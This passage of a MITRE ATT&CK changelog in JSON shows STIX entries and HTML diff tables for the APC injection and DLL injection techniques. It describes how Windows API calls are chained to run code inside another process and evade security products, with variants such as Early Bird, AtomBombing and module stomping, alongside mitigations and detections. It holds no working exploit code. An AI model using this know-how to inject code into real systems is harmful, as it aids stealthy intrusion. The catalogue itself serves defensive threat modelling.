class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;APC&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;APC&nbsp;injection</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;APC&nbsp;injection</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;commonly&nbsp;performed&nbsp;by&nbsp;attaching&nbsp;malicious&nbsp;code&nbsp;to&nbsp;the&nbsp;AP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;commonly&nbsp;performed&nbsp;by&nbsp;attaching&nbsp;malicious&nbsp;code&nbsp;to&nbsp;the&nbsp;AP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">C&nbsp;Queue<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;APC)&nbsp;of&nbsp;a&nbsp;process's&nbsp;thread.&nbsp;Que</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">C&nbsp;Queue(Citation:&nbsp;Microsoft&nbsp;APC)&nbsp;of&nbsp;a&nbsp;process's&nbsp;thread.&nbsp;Queu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ued&nbsp;APC&nbsp;functions&nbsp;are&nbsp;executed&nbsp;when&nbsp;the&nbsp;thread&nbsp;enters&nbsp;an&nbsp;alt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;APC&nbsp;functions&nbsp;are&nbsp;executed&nbsp;when&nbsp;the&nbsp;thread&nbsp;enters&nbsp;an&nbsp;alte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erable&nbsp;state.(Citation:&nbsp;Microsoft&nbsp;APC)&nbsp;A&nbsp;handle&nbsp;to&nbsp;an&nbsp;existi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rable&nbsp;state.(Citation:&nbsp;Microsoft&nbsp;APC)&nbsp;A&nbsp;handle&nbsp;to&nbsp;an&nbsp;existin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;victim&nbsp;process&nbsp;is&nbsp;first&nbsp;created&nbsp;with&nbsp;native&nbsp;Windows&nbsp;API&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;victim&nbsp;process&nbsp;is&nbsp;first&nbsp;created&nbsp;with&nbsp;native&nbsp;Windows&nbsp;API&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alls&nbsp;such&nbsp;as&nbsp;&lt;code&gt;OpenThread&lt;/code&gt;.&nbsp;At&nbsp;this&nbsp;point&nbsp;&lt;code&gt;Qu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lls&nbsp;such&nbsp;as&nbsp;&lt;code&gt;OpenThread&lt;/code&gt;.&nbsp;At&nbsp;this&nbsp;point&nbsp;&lt;code&gt;Que</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eueUserAPC&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;invoke&nbsp;a&nbsp;function&nbsp;(such&nbsp;as&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ueUserAPC&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;invoke&nbsp;a&nbsp;function&nbsp;(such&nbsp;as&nbsp;&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;code&gt;LoadLibrayA&lt;/code&gt;&nbsp;pointing&nbsp;to&nbsp;a&nbsp;malicious&nbsp;DLL).&nbsp;&nbsp;&nbsp;A&nbsp;v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;LoadLibrayA&lt;/code&gt;&nbsp;pointing&nbsp;to&nbsp;a&nbsp;malicious&nbsp;DLL).&nbsp;&nbsp;&nbsp;A&nbsp;va</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ariation&nbsp;of&nbsp;APC&nbsp;injection,&nbsp;dubbed&nbsp;\"Early&nbsp;Bird&nbsp;injection\",&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">riation&nbsp;of&nbsp;APC&nbsp;injection,&nbsp;dubbed&nbsp;\"Early&nbsp;Bird&nbsp;injection\",&nbsp;inv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">volves&nbsp;creating&nbsp;a&nbsp;suspended&nbsp;process&nbsp;in&nbsp;which&nbsp;malicious&nbsp;code&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">olves&nbsp;creating&nbsp;a&nbsp;suspended&nbsp;process&nbsp;in&nbsp;which&nbsp;malicious&nbsp;code&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;be&nbsp;written&nbsp;and&nbsp;executed&nbsp;before&nbsp;the&nbsp;process'&nbsp;entry&nbsp;point&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;be&nbsp;written&nbsp;and&nbsp;executed&nbsp;before&nbsp;the&nbsp;process'&nbsp;entry&nbsp;point&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(and&nbsp;potentially&nbsp;subsequent&nbsp;anti-malware&nbsp;hooks)&nbsp;via&nbsp;an&nbsp;APC.<span class=\"diff_sub\">&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;potentially&nbsp;subsequent&nbsp;anti-malware&nbsp;hooks)&nbsp;via&nbsp;an&nbsp;APC.(C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\"></span>(Citation:&nbsp;CyberBit&nbsp;Early&nbsp;Bird&nbsp;Apr&nbsp;2018)&nbsp;AtomBombing<span class=\"diff_sub\">&nbsp;</span>(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;CyberBit&nbsp;Early&nbsp;Bird&nbsp;Apr&nbsp;2018)&nbsp;AtomBombing(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;ENSIL&nbsp;AtomBombing&nbsp;Oct&nbsp;2016)&nbsp;is&nbsp;another&nbsp;variation&nbsp;that&nbsp;ut</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;ENSIL&nbsp;AtomBombing&nbsp;Oct&nbsp;2016)&nbsp;is&nbsp;another&nbsp;variation&nbsp;that&nbsp;utili</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilizes&nbsp;APCs&nbsp;to&nbsp;invoke&nbsp;malicious&nbsp;code&nbsp;previously&nbsp;written&nbsp;to&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">zes&nbsp;APCs&nbsp;to&nbsp;invoke&nbsp;malicious&nbsp;code&nbsp;previously&nbsp;written&nbsp;to&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;global&nbsp;atom&nbsp;table.(Citation:&nbsp;Microsoft&nbsp;Atom&nbsp;Table)&nbsp;&nbsp;Runni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">global&nbsp;atom&nbsp;table.(Citation:&nbsp;Microsoft&nbsp;Atom&nbsp;Table)&nbsp;&nbsp;Running&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;code&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;the&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;possib</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;possibly&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ly&nbsp;elevated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;APC&nbsp;injection&nbsp;may&nbsp;also</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">elevated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;APC&nbsp;injection&nbsp;may&nbsp;also&nbsp;ev</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ade&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0100: Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-14 01:26:08.145000+00:00",
                    "modified": "2026-11-04 00:16:43.999000+00:00",
                    "name": "Dynamic-link Library Injection",
                    "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL).(Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into a process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/001",
                            "external_id": "T1055.001"
                        },
                        {
                            "source_name": "Hiding Malicious Code with Module Stomping",
                            "description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.",
                            "url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"
                        },
                        {
                            "source_name": "Elastic HuntingNMemory June 2017",
                            "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
                            "url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
                        },
                        {
                            "source_name": "Elastic Process Injection July 2017",
                            "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                            "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                        },
                        {
                            "source_name": "Module Stomping for Shellcode Injection",
                            "description": "Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.",
                            "url": "https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Boominathan Sundaram"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:16:43.999000+00:00\", \"old_value\": \"2026-05-12 15:12:00.724000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \\n\\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL).(Citation: Elastic Process Injection July 2017) \\n\\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into a process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \\n\\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \\n\\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \\n\\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \\n\\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,8 @@\\n Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \\n \\n-DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \\n+DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL).(Citation: Elastic Process Injection July 2017) \\n \\n-Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \\n+Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into a process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \\n \\n Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to136__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to136__0\"><a href=\"#difflib_chg_to136__top\">t</a></td><td class=\"diff_header\" id=\"from136_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;dynamic-link&nbsp;libraries&nbsp;(DLLs)&nbsp;into&nbsp;pr</td><td class=\"diff_next\"><a href=\"#difflib_chg_to136__top\">t</a></td><td class=\"diff_header\" id=\"to136_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;dynamic-link&nbsp;libraries&nbsp;(DLLs)&nbsp;into&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocesses&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ocesses&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">possibly&nbsp;elevate&nbsp;privileges.&nbsp;DLL&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">possibly&nbsp;elevate&nbsp;privileges.&nbsp;DLL&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecuting&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;li</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecuting&nbsp;arbitrary&nbsp;code&nbsp;in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;li</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;process.&nbsp;&nbsp;&nbsp;&nbsp;DLL&nbsp;injection&nbsp;is&nbsp;commonly&nbsp;performed&nbsp;by&nbsp;writin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ve&nbsp;process.&nbsp;&nbsp;&nbsp;&nbsp;DLL&nbsp;injection&nbsp;is&nbsp;commonly&nbsp;performed&nbsp;by&nbsp;writin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;the&nbsp;path&nbsp;to&nbsp;a&nbsp;DLL&nbsp;in&nbsp;the&nbsp;virtual&nbsp;address&nbsp;space&nbsp;of&nbsp;the&nbsp;targ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;the&nbsp;path&nbsp;to&nbsp;a&nbsp;DLL&nbsp;in&nbsp;the&nbsp;virtual&nbsp;address&nbsp;space&nbsp;of&nbsp;the&nbsp;targ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;process&nbsp;before&nbsp;loading&nbsp;the&nbsp;DLL&nbsp;by&nbsp;invoking&nbsp;a&nbsp;new&nbsp;thread.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;process&nbsp;before&nbsp;loading&nbsp;the&nbsp;DLL&nbsp;by&nbsp;invoking&nbsp;a&nbsp;new&nbsp;thread.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">The&nbsp;write&nbsp;can&nbsp;be&nbsp;performed&nbsp;with&nbsp;native&nbsp;Windows&nbsp;API&nbsp;calls&nbsp;suc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">The&nbsp;write&nbsp;can&nbsp;be&nbsp;performed&nbsp;with&nbsp;native&nbsp;Windows&nbsp;API&nbsp;calls&nbsp;suc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;as&nbsp;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;WriteProcessMemor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;as&nbsp;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;WriteProcessMemor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&lt;/code&gt;,&nbsp;then&nbsp;invoked&nbsp;with&nbsp;&lt;code&gt;CreateRemoteThread&lt;/code&gt;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&lt;/code&gt;,&nbsp;then&nbsp;invoked&nbsp;with&nbsp;&lt;code&gt;CreateRemoteThread&lt;/code&gt;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(which&nbsp;calls&nbsp;the&nbsp;&lt;code&gt;LoadLibrary&lt;/code&gt;&nbsp;API&nbsp;responsible&nbsp;fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(which&nbsp;calls&nbsp;the&nbsp;&lt;code&gt;LoadLibrary&lt;/code&gt;&nbsp;API&nbsp;responsible&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;loading&nbsp;the&nbsp;DLL).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Elastic&nbsp;Process&nbsp;Injection&nbsp;Jul</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;loading&nbsp;the&nbsp;DLL).(Citation:&nbsp;Elastic&nbsp;Process&nbsp;Injection&nbsp;July</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;2017)&nbsp;&nbsp;&nbsp;Variations&nbsp;of&nbsp;this&nbsp;method&nbsp;such&nbsp;as&nbsp;reflective&nbsp;DLL&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2017)&nbsp;&nbsp;&nbsp;Variations&nbsp;of&nbsp;this&nbsp;method&nbsp;such&nbsp;as&nbsp;reflective&nbsp;DLL&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">njection&nbsp;(writing&nbsp;a&nbsp;self-mapping&nbsp;DLL&nbsp;into&nbsp;a&nbsp;process)&nbsp;and&nbsp;mem</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">jection&nbsp;(writing&nbsp;a&nbsp;self-mapping&nbsp;DLL&nbsp;into&nbsp;a&nbsp;process)&nbsp;and&nbsp;memo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ory&nbsp;module&nbsp;(map&nbsp;DLL&nbsp;when&nbsp;writing&nbsp;into&nbsp;process)&nbsp;overcome&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;module&nbsp;(map&nbsp;DLL&nbsp;when&nbsp;writing&nbsp;into<span class=\"diff_add\">&nbsp;a</span>&nbsp;process)&nbsp;overcome&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">address&nbsp;relocation&nbsp;issue&nbsp;as&nbsp;well&nbsp;as&nbsp;the&nbsp;additional&nbsp;APIs&nbsp;to&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;address&nbsp;relocation&nbsp;issue&nbsp;as&nbsp;well&nbsp;as&nbsp;the&nbsp;additional&nbsp;APIs&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nvoke&nbsp;execution&nbsp;(since&nbsp;these&nbsp;methods&nbsp;load&nbsp;and&nbsp;execute&nbsp;the&nbsp;fi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">invoke&nbsp;execution&nbsp;(since&nbsp;these&nbsp;methods&nbsp;load&nbsp;and&nbsp;execute&nbsp;the&nbsp;f</td></tr>\n            <tr><td 